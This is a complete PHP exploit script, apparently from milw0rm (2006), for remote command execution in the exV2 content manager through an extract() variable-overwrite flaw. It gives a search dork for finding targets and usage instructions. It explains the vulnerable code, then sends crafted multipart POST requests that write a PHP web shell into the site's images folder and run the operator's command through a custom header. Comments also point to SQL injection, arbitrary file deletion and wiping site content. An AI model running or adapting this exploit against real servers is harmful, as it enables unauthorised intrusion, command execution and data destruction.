#!/usr/bin/php -q -d short_open_tag=on
<?
print_r('
-------------------------------------------------------------------------------
exV2 <= 2.0.4.3 extract() remote commands execution exploit
mail: retrog@alice.it
site: http://retrogod.altervista.org
dork: "Powered by eXV2 Vers"
-------------------------------------------------------------------------------
');
/*
this works regardless of php.ini settings
two different exploit methods for register_globals=on or off
*/
if ($argc<4) {
print_r('
-----------------------------------------------------------------------------
Usage: php '.$argv[0].' host path cmd OPTIONS
host: target server (ip/hostname)
path: path to exv2
cmd: a shell command
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Example:
php '.$argv[0].' 2.2.2.2 /exv2/ ls -la -P1.1.1.1:80
php '.$argv[0].' 1.1.1.1 / ls -la -p81
-----------------------------------------------------------------------------
');
die;
}
/*
software site: http://www.exv2.de/modules/welcome/
i) vulnerable code in include/common.php :
...
// ################# :: Register Globals Compatibility :: #################
$globals_test = @ini_get('register_globals');
if ( isset($globals_test) && empty($globals_test) ) {echo "merdaaaaaaaaaaaaaaaaaaaa\n";
// These still need some work :: Cookie|Server|Env are ok now.
if ( !empty($_GET) ) { extract($_GET, EXTR_SKIP); }
if ( !empty($_POST) ) { extract($_POST, EXTR_OVERWRITE); }
define('_GLOBALS', FALSE);
} else {
define('_GLOBALS', TRUE);
}
...
if register_globals = off you can overwrite every var on target server
found this exploitation method:
some lines after this code we have:
...
// ################ Include page-specific lang file ################
// von Zeile 135 herunter gesetzt, da Userinfo usw. nicht in die language übernommen wurde
if ( isset($xoopsOption['pagetype']) ) {
if ( @file_exists(XOOPS_ROOT_PATH.'/language/'.$xoopsConfig['language'].'/'.$xoopsOption['pagetype'].'.php') ) {
include_once(XOOPS_ROOT_PATH.'/language/'.$xoopsConfig['language'].'/'.$xoopsOption['pagetype'].'.php');
} else {
include_once(XOOPS_ROOT_PATH.'/language/english/'.$xoopsOption['pagetype'].'.php');
}
}
...
so we modify the $xoopsOption['pagetype'] var to reach the mail_template.php script in /include folder
where we have:
...
$code=stripslashes(isset($code) ? $code : "");
if(isset($op_action) && $op_action == "save" && $lang != "" && $script != ""){
$code=str_replace("<","<",$code);
$fp=fopen($mod_path."/language/".$lang."/mail_template/".$script, "w");
fputs ($fp,$code);
fclose($fp);
header("Location:index.php?".$temp_op."=mail_template&script=".$script."&lang=".$lang."");
exit();
}
...
now we can save our shell code in a php file...
also, if register_globals = On you can call directly the mail_template.php script
to do the same stuff
through the extract() bug is also possibile to delete recursively all sites content
including the /modules/system/admin/design/include/conf_theme.php script
and to upload images without authorization in /images/library folder including
the image manager script and setting some vars
ii) an sql injection issue, poc:
http://retrogod.altervista.org/exv2_2043_sql.html
iii)
registered user can delete an arbitrary file on target server through
avatar upload features, because of a directory traversal in old_avatar
argument, passed to an unlink()
this is the poc for i)
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
//register_globals=off, extract() tricks...
$data='-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="xoopsOption[pagetype]"
../../include/mail_template
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="op_action"
save
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="mod_path"
.
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="lang"
english
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="script"
../../../images/library/placeholder.php
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="code"
<?php set_time_limit(0); error_reporting(0); echo "my_delim"; passthru($_SERVER[HTTP_SUNTZU]);?>
-----------------------------7d626f251b00fa--
';
$packet ="POST ".$p." HTTP/1.0\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d626f251b00fa\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(2);
//register_globals=on
$data='-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="op_action"
save
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="mod_path"
.
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="lang"
english
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="script"
../images/library/placeholder.php
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="code"
<?php set_time_limit(0); error_reporting(0); echo "my_delim"; passthru($_SERVER[HTTP_SUNTZU]);?>
-----------------------------7d626f251b00fa--
';
$packet ="POST ".$p."include/mail_template.php HTTP/1.0\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d626f251b00fa\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(2);
$packet ="GET ".$p."images/library/placeholder.php HTTP/1.0\r\n";
$packet.="SUNTZU: $cmd\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (strstr($html,"my_delim"))
{
$temp=explode("my_delim",$html);
die($temp[1]);
}
echo "exploit failed...";
?>
# milw0rm.com [2006-09-22]
